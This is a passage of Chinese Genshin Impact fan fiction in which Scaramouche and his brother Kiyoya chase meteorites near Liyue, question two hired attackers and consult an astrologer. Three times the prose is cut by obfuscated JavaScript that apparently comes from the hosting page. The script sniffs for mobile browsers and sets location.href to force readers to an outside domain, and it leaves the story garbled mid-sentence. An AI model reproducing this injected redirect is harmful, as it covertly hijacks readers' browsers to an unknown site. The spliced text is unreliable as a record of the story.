“奇特天象,陨石……”月见里清也思考着文件上的字眼。 流星雨天象确实罕见,但这跟夺取七神的权柄有什么关系? 可星象学实在不是他的专长,既然想不通,月见里清也索性也就不想了,他随手将文件一放,转头说起另一件事。 “今天刚报上来的,那位在蒙德名声大噪的荣誉骑士,近期会前往璃月。”月见里清也说着眨了眨眼,“说不定还能碰到。” 不管是第六席的暗线还是其他执行官的暗线,事先都没有这位荣誉骑士任何情报,就像凭空出现的那般,毫无征兆的打乱了『女士』的外交计划。虽然风神之心已经到手,但经过蒙德这一次事情,这位旅行者大概只会站在愚人众的对立面。 于他们来说,旅行者和他们没有什么利益冲突,却是个不可忽视的麻烦。考虑到这点,月见里清也也让手下的情报网着重收集了关于这位旅行者最近的消息。 “无妨,”散兵毫不在意,“这样事情才开始变得有趣起来了,不是吗?” 从至冬到璃月坐船用不需要很久就能到,比去稻妻容易多了。按着航程来算,他们乘坐的船明日一早会在璃月港停靠。 关于陨石、星星、天象这些知识全都在月见里清也的盲区之内,为此他还找了基本星象学基础的书恶补一下,聊胜于无。 船上的生活一般都枯燥且无聊,月见里清也几天前翻完了带来的星象学书籍,现在正无所事事。 情报上说流星雨会在今晚八九点之间出现,眼见马上到预测时间,月见里清也拿着怀表来到夹板上。 月见里清也来到甲板上,有些意外的发现散兵竟然没有呆在船舱里,反而也来到了甲板上。 当然散兵也不是唯一一个站在甲板上的人,除了今夜当值勘测航向与风向的士兵之外,还是有不少士兵三三两两的聚在一起。 只不过他们都站在散兵八丈远之外,硬生生在面积不大的甲板上整出来一个真空地带。 愚人众的执行官们都有着独特的个性,性格与脾气也是千差万别,尽管如此,每一席里都不缺乏殷勤掐媚之人。 但唯独第六席是个意外。 原因无他,因为第六席的士兵都畏惧自家执行官。 散兵根本不吃他人的讨好,他做事看重结果,只以成果论奖赏,做得好会得到该有的奖励,但这并不能在他面前混个脸熟,如果下次被他抓到纰漏,他依旧会将人嘲弄到无地自容。 没人能一直保持不犯错,对于下属来说,他是个阴晴不定的上司,没人想上去找骂。 就如梅瑞狄斯之前所说,除了他弟弟之外,根本想不出第二个能在他面前笑着跟他说话的人。 月见里清也啼笑皆非的摇摇头,走过那块真空地带站到散兵身旁,“在等陨石?” “我看起来有那么无聊么?”散兵撇了他一眼说,“船舱太闷了,出来透透气。” 他略带疑惑地看向月见里清也手里拿的怀表,月见里清也把怀表按开,大大方方地解释自己的来意:“如你所见,我正准备给陨石掐个时间,以此来看看我们的预测时间到底准不准确。” “……”散兵罕见地没有说话,纠结“幼稚”和“闲的”到底那个才能诠释月见里清也这个无聊透顶行为。 正常情况下,能让散兵无语到不知道说什么好的情况比月见里清也成功坑到散兵的情况更少见,从某种意义上来说,月见里清也也算个人才了。 两人周围的空地并不能隔绝他们的声音,月见里清也好歹知道顾及执行官大人的脸面,忍着笑说:“我承认这有一点点无聊。” “只是有一点?”散兵啼笑皆非道,“三岁孩子都比你成熟。” 月见里清也假装没听见这句话,他伸手抓住散兵的手腕:“别走别走,陪我等会。” “无聊,撒手。”散兵说。 月见里清也耍无赖,用口型无声的说:“我不。” 散兵一脸黑线:“月见里清也,你是无赖吗?” 恃宠而骄的月见里清也有恃无恐,反倒是在四周的士兵听到散兵的语气后不动神色后撤了几步,以防引火烧身。 好在月见里清也颇有良心,没忍住笑出声,一个人吸引了全部火力。 散兵:“……” 最终二人达成共识,以散兵被强留在甲板上,月见里清也见好就收撒开手而结束。 月见里清也又按开怀表看了一眼时间,在时针走到八点的那一刻,他抬头看了一眼星空,星河璀璨的和平时并没有什么不同。 看来依靠观星仪器还是有些许误差的,他这么想着,讪讪地将视线移回来,正想对散兵说些什么,就听到不远处的士兵一声惊呼。 月见里清也和散兵同时顺着士兵的视线看过去,只见从几千年前就亘古不变的星空突然多了几抹亮眼的光芒。 那光芒从远处而来,不同于高悬在天空上泛着银光的星星,这些呼啸而过的陨石带着奇特的蓝紫色光芒,拖着尾迹划过长空,飞至海洋尽头的群山。 在海洋尽头的群山下,是千帆万商的云集之地,七国最繁荣的港口,世人口中有着“百货迭出,宝飨七国”美誉的璃月港。 与蒙德的紧张局势不同,愚人众与璃月七星达成合作,在璃月他们可以正大光明的行动,不用隐藏起自己的身份。 第二天一早,船舶在港口停靠,为了不引起不必要的关注,月见里清也还是让队伍化整为零,混入来来往往的人群里。 他像个真正来旅游的游客那样东张西望,回头对散兵说:“这好像是咱们第一次来璃月?” 散兵紧跟在他后面下船,闻言点点头:“要是觉得好奇,执行完任务后可以多留几天。” 月见里清也本想一口应下,随后想起来现在在璃月的是哪位执行官后,脱口而出的“好”在嘴里转了个弯又憋了回去,干笑两声,“还是算了吧。” 倒不是他跟公子有什么仇需要避着他,反而说月见里清也躲着公子更为贴切一点。 公子是前几年成为执行官的,私底下被士兵称为最年轻的执行官,风评也不错,但对武艺的追求达到了一种痴狂的程度,且喜欢找别人切磋武艺。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896362|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >散兵是绝对不可能答应这种事情的,但公子不知道从哪打听到几十年前的老八卦,于是他就顺藤摸瓜的找上了月见里清也。 以月见里清也的官衔来说拒绝长官显然不合适,出于阶级问题和第六席与其他席位外交关系,月见里清也只好硬着头皮答应了。 几次之后,就演变成了现在月见里清也躲着末席执行官走的局面。 月见里清也说完后,没骨头似的往散兵身上一靠,搭着他的肩膀,借着动作遮挡悄声说:“三点钟方向有两个人,一直注意着这边。” 散兵任由他靠着,甚至还调整了一下站姿让月见里清也这个姿势更舒服些,看向他所说的位置。 港口人来人往,人们都在忙着自己的事情,两个男人慌忙收回自己视线的动作在这其中现的尤为突兀。 藏在暗处的人手法有些拙劣,不像是来特意监视防范他们的,倒像是临时起意来打劫的贼。 “不自量力。”散兵找到鬼鬼祟祟的二人后就收回了视线,满不在意,“人都派出去了?” “都派出去了,留了一队人在附近不远处。”月见里清也点点头,俩人一起向港口外走去,“看着不像暗线,手法太拙劣了。” 散兵一时没接话,抬头看了看嘲笑道:“捂得比十二月的至冬人还严实。” 月见里清也收回搭在散兵肩膀上的胳膊,暗中观察着那两人说:“要处理了吗?” 散兵摇摇头说:“不用,看看他们要干什么。” 月见里清也不动声色给隐藏在附近的队伍打了个手势,示意他们盯着这两个鬼鬼祟祟的人。 打听陨石降落在哪里并不是一件难事,与此同时月见里清也还收到了布在璃月的暗线送来的情报。 他将情报汇报给散兵,在地图上指出大体位置,“陨石大部分降落在蒙德与璃月的周边地区,大致在璃月的荻花州、石门以及蒙德苍风高地。” “调查时得或许要额外注意晨曦酒庄附近,毕竟它的主人前几年让咱们颇为头疼,而且他的暗线不会比我手里的少。”月见里清也话虽这么说,语气依旧轻快。“不过我觉得遇上他的概率并不大,比那位旅行者的概率小一点?” 本来这次只是一项野外科研任务,只要手底下的人安分守己,就暂时上升到两国外交。 “另外据暗线搜集到的消息,陨石不知道蕴含着什么力量,触碰到的人会陷入沉睡,具体的救治方法尚不得知。”月见里清也才把刚刚说了一半的情报说完,“另外……冒险家协会发布委托了,虽没收到确切消息,但是估摸着那位旅行者也会来处理陨石的事。” 提到这位旅行者,散兵暂时还没有挑明身份与其对立的想法,只是吩咐月见里清也,“你收着点,别把戏演砸了。” 月见里清也点点头,“我知道,我肯定不会一上来就自报家门,老老实实的扮演一个路见不平拔刀相助的路人。” 散兵:“……你知道我指的不是这个。” 之前二人还是士兵的时候,除了下深渊还会接到其他任务,其中不乏潜入暗杀、偷取情报等这种需要隐秘身份的任务。 倒不是月见里清也的演戏很烂,与之相反他在演戏哄骗人这方面简直炉火纯青,一开始还能老老实实的按照假身份的剧本来,但安分不了多久他就开始临场发挥“加戏”。 也就是跟他从小长大的哥哥能不动声色的接住他的戏,但散兵不是万能的,也有好几次险些接不住他的“戏瘾”。 卡斯珀曾经只跟月见里清也执行过一次任务,那次任务后就连忙把这个想起一出是一出的玩意打包还给他哥了。 并且从此坚定的认为散兵带着月见里清也需要操心的太多了,太不容易了。 “我发誓这次绝对不乱来,有什么鬼点子要提前和你商量,绝对不临场发挥。”月见里清也在散兵的注视下老老实实的竖起三根手指发誓,“这样可以了么?” 24. 奇特天象(其二) 散兵身边没有带任何护卫,只有月见里清也一人 ,他不喜欢下属跟在后面,如果有要安排的行动再叫人就好,大多数情况下只有月见里清也跟着。 二人离璃月港越远,后面鬼鬼祟祟的尾随者越发明目张胆。 散兵对月见里清也使眼神,月见里清也不着痕迹的一点头,二人拐去一条人迹罕至的小路。小路人迹罕至,走上十几分钟都碰不上一个人,但好在这条路也算一条运输路线,没有多少魔物。 月见里清也本想对散兵说些什么,但在目光触及身后时笑容一顿,迅速回身抽刀,将飞驰而来的箭矢斩落,干净利落地挡住了背后的突袭,藏于远处之人见势不好,转头就跑。 偷袭的人显然只有三脚猫的功夫,仗着对环境的熟悉,钻入树林里左绕右转,看了看后边并没有追过来,刚准备放慢脚步,就见从左边水光一闪,月见里清也从树林中闪出,手腕一转,偷袭者被横出的水波打翻在地,一把青色长刀指向他的咽喉。 忽听一声破风之音传来,月见里清也保持着持刀的姿势未动,头微微往旁边一歪,一只箭矢擦着耳边而过,钉在树干上。 他顺着箭矢来的方向回头看去,只见他的另一位同伙架着一把弩,正准备将下一支箭搭在机床上。眼见一击不成,那人并不恋战,迅速调整自己的位置。 月见里清也并没有着急追击下一个人,不紧不慢的将长刀收起,几秒后远处林间雷光一闪,四周迅速恢复寂静。 他嘴角微勾,慢悠悠地单手拎地上那人的衣领,将人拖了过去。 林子另一边,月见里清也将手里的人扔到地上和他兄弟团聚,被扔到地上的哥们短暂哀嚎了几声,视线骤然接触到散兵神色不虞的眼神,刚喊出口哀嚎戛然而止,变成一声不成调的鸭子叫,识趣地闭上了嘴,躺在地上装死人。 周围的气氛几乎凝固到极致,时间仿佛被无限拉长,负责暗中戒备的小队正整整齐齐跪在散兵面前,神情都不怎么好看。散兵收回视线盯着他们,嘴上毫不留情:“一群废物,要你们有何用。” 小队士兵纷纷汗如雨下,一个个寒蝉噤声。 散兵不想和这帮人多费口舌,“清也。” 月见里清也行礼应道:“我在。” 散兵将一卷小地图扔到月见里清也面前,语气平静地让人害怕,“没记错的话,随队人选是你负责。” “我知道了,大人。”月见里清也没抬头,捡起地上的地图,沉默地走到那一队人面前。声音微冷,“你们不是第一天入队,需要我帮你们重新学习一下第六席的规矩吗。” 他用地图拍了拍小队长的脸,“船舱空位有限,如有再犯你就给我游回至冬,听懂了?” 言下之意不言而喻,队长连忙将地图收好,“请大人放心,我们这次一定会完成任务!” “啧。”空口说漂亮话谁都会,在没有结果前,散兵不会相信他说的话。 月见里清也一使眼神,“滚。” 好在小队长悟性不错,连忙带着队员滚了。 散兵朝他投过来审视的眼神,月见里清也会意,伸脚提了提躺地上装死的二人说:“别装死,我下多重的手我不知道吗,刚才不还嚎地很响亮吗? 偷袭者悄悄睁开眼,吓得话都说不利索了:“别…别别杀我,我……我我什么都说。” “既然敢偷袭,那想必已经做好付出代价的准备了。”散兵站在月见里清也身后的位置,语气森然。 偷袭者想到刚才散兵训下属的样子,生怕给自己弄死,差点两眼一翻直接晕过去。 月见里清也见人吓得那怂样,无奈开口:“哥哥,人快被你吓晕过去了。” 散兵耸了一下肩,“我只是实话实说。” 月见里清也无所谓地一笑,“说吧,什么时候开始跟着的,我猜不是刚才吧?” 那人不知道是不是散兵那句话给吓的,结巴的更厉害了,“不…不是,是在刚…刚下港口的…时候。你…你们…早…早就…看出来了?” 月见里清也心说废话,但他面上如常,跟散兵对视一眼。 “为什么跟着?”散兵接过话茬,“愚人众不在你们盗宝团的打劫范围内吧。” “我们……我们也不知道你们是愚人众啊。”那人听到散兵压低的声音就犯怵,想往后缩却又苦于月见里清也的剑,吞了口口水。 月见里清也不信:“船帆上那么大标志你们看不到?” 偷袭者说:“我们没注意啊……那人给钱我们就干了。” 散兵:…… 月见里清也:…… 这时他同伴把话接了过去,虽然散兵手下留情了,但是依旧伤的不轻,“有个人花了钱找到我们说,让我们跟着你们,让其中一个受了伤就行,不用太严重……” 散兵嗤笑一声:“就你们这三脚猫功夫?” 月见里清也好像听到了什么好笑的事,“恕我直言,你们俩加起来都不够我一个人打的,更别提这位。” 躺在地上的两只三脚猫脸集体绿了三分,但他们不敢造次,继续听二人问话。 “那人呢,还记得长什么样?”散兵问。 两位三脚猫显然是见钱眼开,既不懂得他们刺杀的是什么人,也不记不住委托人长什么样,只说那人遮着脸看不清。 “……”月见里清也心说这不就是啥也不知道吗,看向散兵示意下一步要怎么办。 散兵扫了一眼躺在地上的二人,“不留活口。” “别别别,我们还有要说的!”两人生怕他们是认真的,慌忙喊道。其中一人若有所思地盯着月见里清也的脸看,看得他有些发毛。 “我想起来了!”躺在地上的那人费劲的抬手指着月见里清也说:“那人长的和你很像!” 月见里清也皱眉,“哈?你的意思是,我花钱雇你们杀我自己?” 散兵闻言却是耐心告罄,将那人的手踩回地上使劲碾了几下,不顾那人的痛呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896363|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气里透出一股阴冷的寒意:“我的耐心有限,你们再敢胡言乱语,我现在就可以送你们去死。” “不不不。”那位偷袭者也不结巴了,慌忙解释着,“他…他脸盲!他就是想到了那人和您的发色很像,也是留着长发,认错了认错了,怎么可能是您自己呢!” 被散兵这么一威胁,他们把能说的全说了,但这些在散兵和月见里清也听来都属于没有任何用处的垃圾消息。据他们所说,那个神秘的委托人交给他们的一枚银饰,并声称这是古董,用来抵消雇佣他们的费用,除此之外,并没有其他收获。 从他们嘴里估计是敲不出来什么了,为了不节外生枝,他和散兵都并没有选择杀人灭口,收了唯一有价值的银制品,放人走了。 银饰和寻常摩拉一般大小,因保护不当有着许多处磨损,但不难看出上面的纹路是一朵栩栩如生的樱花,反面则印着象征着稻妻的三重巴印。 很典型的稻妻风格,做工说不上多么华丽,就单凭这个保养程度,绝对不是那些有头有脸的大人物们用的。 看来银饰这条线索也不一时半会查不出个什么来了,月见里清也把银饰当做硬币上下抛着,想了半天也没能想起来自己这几年得罪了哪些稻妻人。 毕竟他已经许久没有回过稻妻了。 他看着银饰上的樱花纹路,想到刚才两人其中一个说雇佣者长得与他很相似的话,突然有了一个非常荒唐的想法。 他问散兵:“哥哥,你相信刚才那二人所说的话么?” “四肢不勤,话说的也颠三倒四,身上唯一值得让人注意的可能就是那令人堪忧的智商。”散兵说着看向月见里清也,“别告诉我你真的信他们说的鬼话。” 月见里清也并不是突发奇想,在几百年前,他还跟散兵生活在稻妻时,他曾经也和哥哥一样拥有“身份凭证”。他的“母亲”或许并没有想到他能够拥有生命,给他的凭证并不如散兵身上的金羽贵重,是一对勾玉玉佩,虽然玉佩也随着他的颠沛流离不在他身边了,但月见里清也依旧记得玉佩的样子,那上面的花纹与银饰上的花纹一般无二。 或许自己并不是那位宫司大人唯一的作品,在他之前还有不少试验品? 月见里清也将这个想法告知散兵,散兵却回了他一个看傻子的眼神,“月见里副官有如此想法,在我这属实屈才,不如去八重堂当小说作者。” 他已经尽力委婉了,藏在话语里的“你是不是有病”依旧明晃晃的透露了出来。 月见里清也:…… 月见里清也抓了一下刘海,“我就合理的发散一下思维。” “神樱树对于稻妻的重要性不言而喻,你觉得八重神子会做批量生产?并且我确信在四百年前唤醒你的时候,房间里只有你一个人。”散兵抱起手臂看他,“你管这分析叫合理,你脑袋里装的什么?稻妻的轻小说?” 月见里清也在散兵的嘲讽里双手捂着耳朵快走几步,不听不听,哥哥念经。 25.自天而落的陨星 银饰的事暂时放到脑后,过了归离集向北走,经过望舒客栈,二人留在望舒客栈休息了一晚,第二日才到了荻花州。 到了这里就已经能看见不少冒险家和璃月官兵的身影,还有在一旁搭建起的棚子,里面躺着不少人,看样子都是通过触摸陨石陷入沉睡的人。 散兵拍了拍月见里清也的肩膀,不需要解释什么,几百年的默契足够让月见里清也明白他的意思。 看着月见里清也走向守在棚子里的官兵,散兵将目标放在一旁正在休息的冒险家身上。 月见里清也擅长见人说人话见鬼说鬼话,经常给人一种处事圆滑的印象。散兵却与他不同,只要他想,他可以伪装成任何性格的人,就像他有无数个社交面具,只要他不主动撕下伪装,寻常人很难看透他。 就像现在,他态度谦和,嗓音温润,加上俊秀的面貌,活脱脱就像从书中走出来的文质彬彬的贵公子。 正在休息的冒险家是璃月人,他自然而然的就将散兵代入到了自己才看过的武侠小说里的少年侠客。 可惜散兵手里并没拿着剑,也不是来锄强扶弱的,他只是来询问陨石详情的。 “陨石啊,我想想……”冒险家思考片刻说,“因为触碰到陨石会陷入沉睡,协会一早就发布了调查并清除陨石的委托,但清除陨石的委托都是有神之眼的人接的,像我这种普通人就只好接点这种照顾人的小委托。” 他看了一眼散兵身上并没有神之眼,叹了一句:“我看你也没有神之眼,找陨石可能是有点麻烦了。” “难不成有神之眼的人能感应到陨石的位置?”散兵说话带着点笑意,不知不觉间拉紧和那人的距离感。 当然他这句话是句玩笑话,毕竟月见里清也走了一路也没发现有什么不正常的。 冒险家说:“那倒不是,我也是听说来的,神之眼靠近陨石的时候会发光,他们有神之眼的就靠这个来定位陨石方向,至于回收我就不清楚了。” 看起来像是元素共鸣,散兵若有所思。 冒险家见他不回话,误以为他有些灰心,便又补了几句:“不过倒也不是没有办法,陨石周围一般会聚集一大些魔物,要是见哪里魔物多,保不齐附近就会有陨石。” 见消息收集的差不多了,散兵礼貌地跟冒险家道别,去跟月见里清也汇合。 月见里清也那边打听到的情报和在璃月港打听到的情报大差不差,只有一点不同。 沉睡的人是可以短暂被叫醒的,但他们醒来的时间非常短暂,清醒个几秒后又会陷入沉睡。经过好几个受害人的东拼西凑,终于确认了他们都在做同一个梦,梦里是一片白茫茫的雪原,他们在大雪里向上攀爬,无论如何都停不下来。 不过单凭受害者的只言片语分析太片面,眼下首要目标还是先找到陨石。 散兵将自己打听到的消息告知月见里清也,二人不出片刻,就寻找到了一块陨石碎片。狂化的魔物对于他们而言并不是什么难题,将魔物尽数除掉后,审视起在空地处的陨石。 陨石散发出阵阵奇特的光芒,猛地一看与地上随处可见的原石颜色差不多,不怪有些人直接上手触碰它。 除此之外,陨石四周还萦绕这一股强烈的元素力,像护罩一样将陨石包裹在里面,月见里清也仔细辨认,没有动用神之眼的力量,反而是催动了许久不用的雷元素,元素力打到陨石的一角,电弧瞬间蔓延至陨石表面,待到电弧消失,两人注意到陨石的表面有轻微的裂痕。 “可以打碎,表面是一层水元素力。”月见里清也看向散兵。 “退后。”散兵说着,手上凝聚着雷元素,看上去要比月见里清也刚才那一下厉害的多。 月见里清也闻言乖乖后退,看着散兵一击下去,精准地将陨石的元素外壳轰碎,却没有伤及陨石本身。 随着外部的元素力消失,陨石散发出的光芒暗淡了许多,露出原本的颜色。 为了保险起见,月见里清也用手绢裹着一小块陨石碎片,没有直接接触陨石,递到散兵面前。 虽然叫“陨石”,但它的颜色和普通石头并不一样,呈现出黄紫蓝三色的混杂颜色。 “不像石头,颜色倒像原石。”月见里清也看见散兵想伸手直接触碰陨石,吓得他连忙将拿着陨石的那只手缩了回来,“你要干嘛?” 散兵丝毫没觉得自己的行为有危险,“如你所说,试试他到底是不是一块普通的石头。” 月见里清也:“……” 下次这种危险行为能不能不要这么轻描淡写的说出来啊! “探寻结果的过程有危险是必然的。”散兵满不在乎。 月见里清也笑了一声反驳道:“哈,结果论者。” 散兵耐心告罄,“过程和结果你选一个。” 月见里清也说:“非要选一个?我就不能两个都要。” 散兵:“……” 但散兵没有他那个好心情,恨不得上去呼月见里清也一巴掌。 要是下属见到散兵这个脸色早就吓得不敢言语了,月见里清也虽然不怵,也懂得见好就收,他把陨石向散兵面前一递,但没想到在散兵触碰到陨石的前一刻,那一小块陨石自行消散了。 不光这一小块,连同在地上没有捡起来的大块碎片,都同样消散在空气中。 伸手抓了一把空的散兵面无表情地看向自己的倒霉弟弟,忽然觉得手非常痒。 月见里清也没成想事情会这样,罕见的有点心虚:“看来失去元素力保护的陨石并不能长久的留存……哎呦!” 散兵终于没忍住给了月见里清也后脑勺一巴掌。 虽然陨石碎片消散了,但在消散之前,他们也算得知了陨石的特性,按照月见里清也的歪理来说,不算完全没有收获。 顺着荻花州道路走下去,他们又陆续找到了其他碎片,加上派出去的下属陆续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900219|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送回来的消息,不能说知晓了陨石的秘密,好歹是有了一部分头绪。 从蒙德而来的商人进入璃月都要经过石门,再沿着荻花州前往璃月港,时间久了,沿途也就出现了不少茶摊,买的不过是几碗大碗茶,给来往的商人与路人解渴。 今日烈阳高照,偶尔会有微风吹过,对于赶路的商人来说却不是个好天,太阳晒得人汗流浃背,茶摊比往常几日要更加热闹 月见里清也挥手将裹在陨石碎片外的水元素撤掉,浮在半空中的碎片掉落在桌子上,片刻后同之前的碎片一样消散在空气中。 碎片消散后,茶摊老板将二人一早点的茶水送了上来。 茶摊的主要服务群体还是来往的商人跟送货人,因此提供的茶水都是量大解渴的大碗茶,对于月见里清也和散兵没怎么出汗的人来说,这两碗茶量还是大了些。 但这也不是很重要,毕竟他们也不是因为要喝茶才来这里的。 碗中茶水剩了大半,月见里清也实在喝不下,便放在一旁,“失去元素力保护就会消散的陨石,哥哥,你觉得这次陨石真的是自然现象吗?” 他们挑的位置位于茶摊的角落,抬眼就能看到茶摊的所有客人,也跟其他客人有些距离,不怕说出去的话叫别人听到。 “怎么说?”散兵看向他。他并非不知道月见里清也所言的意思,只是月见里清也点出来了,便由他继续说下去。 “先是触摸过陨石的人都会陷入沉睡,根据醒过来的那些人的说法,他们好像都陷入了同一个梦境,这听起来倒像是有人故意为之。”月见里清也说着皱了皱眉头,“其次陨石太过脆弱,失去元素力的保护就会迅速泯灭成尘,挂在天上恒古不变的星星会这么脆弱?” 散兵打断了他,“拥有这种梦境的人肯定会有别的方法来达成他的目的,何必这样大张旗鼓?” 月见里清也想了想,也觉得有道理,“也是。” “要说人为也不无可能,但重点不在梦境,反而要回归到这场流星雨本身。”散兵继续说着。 月见里清也一点就透,从散兵的话语里品出了点别的意味,“你是说丑角是故意让你来调查陨石的?” 散兵点点头说:“之前看来还不敢确认,现在看来,多半如此。” 从接到任务前他就隐约有这种想法,随着对陨石的调查越发深入,这个念头便越发清晰。 为何从天而降的陨石会让接触的人统一陷入沉睡,或者说能让人梦到同一个梦境的“奇石”真的是星星吗?这恐怕要追溯陨石本身。 天空和星星,占星术士毕生研究的课题。 占卜预知之术,对于常人来说都是信则有,不信则无,但占星术并不在其类。它作为一门学问,须弥教令院甚至开设用于研究星空的明论派,就足以证明它在提瓦特的重要性。 探索未知事物需要追根求源,从天而来的陨星,自然是要找最熟悉星空的专家。 26.悬于高天之上的命星 月见里清也明白自己的任务目标发生改变,简要商讨完下一步的计划之后,他才不慌不忙从口袋里拿出一样东西,示意散兵伸手。 散兵不明所以,将手掌摊开。 “给你个小礼物。”月见里清也一块蓝色晶石放在散兵手里,提醒道,“用元素力试试。” 散兵按照他提示的方法照做,将元素力注入手上的晶石中,同时不忘控制好力道。 晶石泛起微弱的光芒,灌注进去的雷元素在空中缓缓构成几句简短的话语——根据璃月官方预测,或许会有更大的陨石降落在蒙德鹰翔海滩附近海域。 散兵有些诧异地看向月见里清也,“你的暗线?” “不愧是哥哥,一猜就中。”如果月见里清也有尾巴,大概这时候已经得意地高高翘起来了,解释道,“触发机制跟元素共鸣差不多,可以无视距离。” 月见里清也说着又拿出一块颜色相同的晶石,同样注入元素力。 散兵手上的晶石呈现出的话语被新的代替,月见里清也解释道:“最重要的是,不用特地在面前禀报,减少了被发现的可能性,但由于材质的不稳定性,只能接受一定的字数,并且只有你手上的拥有接收功能。” “不错,在这方面你确实有天赋。”散兵并不吝啬自己的夸奖。 月见里清也建立暗线收集情报的目地本就是给散兵提供情报从而更好的报掌控全局,他不在身旁,自然是要给散兵提供一个更好的获取情报的方式。 尽管这个装置在一贯高要求的散兵眼里看来并不是很完美,但他没有像以往那样挑任何毛病,反而真的觉得这份礼物无可挑剔。 这份小礼物是前不久赶时间做出来的,做工都算不上精美,月见里清也还有点自知之明,听到散兵这句罕见的夸奖倒有些不好意思,“倒也没那么夸张了……” 将晶石仔细收好后,散兵轻敲两下桌子,示意月见里清也附耳过来,“根据情报所说,我会将任务的重心放在那块陨石的研究和回收上,若在占星术士身上没有收获,尽快过来汇合。” 离开茶摊后,散兵带队前往蒙德,月见里清也则独自寻找占星术士。 他将路上石子踢到一旁,虽然他不怎么相信占卜算命这一套,但占星术毕竟也是一门高深的学问,本着宁可信其有不可信其无的态度,月见里清也还是准备装成普通人去试试深浅。 不过他这层伪装披的并不严实,如果占星师真的能通晓命运,伪装身份就很多此一举了。 月见里清也吩咐暗线去搜集附近占星术士的消息,价格高不要紧,算出来准就行了。 手下暂时不知月见里清也调查目标的变动,虽然一头雾水,但还是老实按照命令去办了。 这一来二去的也就耽搁了些时间,月见里清也抬头看一眼太阳的位置来估算时间,估计着这时候他哥都带着队伍从石门进入蒙德的地界了,也不知道碰没碰上那位旅行者。 暗线回来的动静打断了月见里清也的思绪,“报告大人,我们找到了一个占星术士,他的给人占卜的几乎没有出过错,只不过他的脾气很怪。” 月见里清也对此并不在意,“有多怪?” 暗线回道:“据他自己说,他只给他觉得有趣的命运做占卜。” “学问越大的人越奇怪,算了,死马当活马医吧。”月见里清也无法,决定走一步看一步。 暗线将占星师的资料交给月见里清也,他不需要暗线在一旁跟着,自己一人按照资料上的地址找过去。 说是资料,其实也就是一张小纸条,上面写着那名占星术士的姓名:韦尔奇,现在璃月碧水原一带暂住。 纸条在月见里清也手上的细小电流下变为灰烬,随手一扬,灰烬随着风飘走。 韦尔奇住处很符合月见里清也对一些大师的刻板印象,住在一处人迹罕至的山林里,给人一种高深莫测的感觉。 但放着璃月那么多山清水秀的地方不住,反而住在当地居民口中闹鬼的地方就纯属个人恶趣味了。 月见里清也并未被四周突然暗下来的天和亮起来的鬼火吓到,他敲了敲房门,等了许久也不见有人来开门。 ……啧,我运气应该不会这么差吧? 月见里清也暗自绯腹着,又抬手敲了第二遍门。 屋里依旧没有丝毫动静。 就当他认为今天这趟不赶巧准备转身离开时,屋门突然“吱呀”一声,打开一条缝隙。 月见里清也:“……” 他可什么都没干。 月见里清也伸手将碰瓷的门缓缓推开,决定当一回“不请自来”的客人。 与外面昏暗的阴森环境相比,房子内的装修倒是挺温馨别致的,屋内正当处放着一张长桌,一个白头发老头坐在长桌后,对月见里清也露出一个果然如此的表情,“下午好先生,你想知道点什么?” 月见里清也被扑面而来的神棍味弄得有些错愕,破天荒地思考起自己情报网的消息是否准确。 他没有着急说明来意,反而指了指身后的门,“占星术士的房门平日里都是这般常打开的?” “不不不,你既然来找了我,自然也听说了,我只给有趣的命运占卜。”韦尔奇捻了一下他的白胡须,一旁天文仪器缓慢转动,在桌面投出一副星图,“是它选择了你,副官先生。” 月见里清也眉尾一挑,并不惊讶自己的身份被戳破,反而对对方的实力有了一定程度的认可,“那看来我们可以打开天窗说亮话了。” “当然,你推开门的那一刻我就已经知晓你的来意,你瞧,你的命运就映射在这里。”韦尔奇语气轻快,他指着星图说,“我对你的命运很感兴趣。” 月见里清也看不懂桌上的星图,但他觉得韦尔奇话里有话,“什么意思?” 韦尔奇却并不着急解释,他示意月见里清也先坐下。 这间屋子就只有两把椅子,一把韦尔奇自己坐着,就只剩下他对面的那张椅子空着。 月见里清也也不客气,拉开椅子坐下。 “你应当知道命之座的概念?”韦尔奇问道。 月见里清也点了点头,来之前他临时抱佛脚读的那本书里有提到过命之座的概念。 见他点头,韦尔奇知道月见里清也是懂一点占星基础的,便省去了解释:“如你所见,占卜的概念就是将你的命之座映射下来,再进行解读,每个占星术士都会有不同的方法,但原理都大差不差。” “但是占卜也是有条件的,我们不能占卜位格高于我们的存在,可普通人的命运我看过太多,无聊透顶。”韦尔奇话锋一转,“你的命运与他们不同。” 可能因为我不是人吧,月见里清也这么想着,但他仍问了句:“有多不同?” 韦尔奇转着天文用具,解读着上面的星图,眉头渐渐皱紧,“你的命运有一半我竟然参不透……有趣。” 他突然抬起头,盯着月见里清也问道:“你相信命运?” 月见里清也不假思索地说:“完全不。” 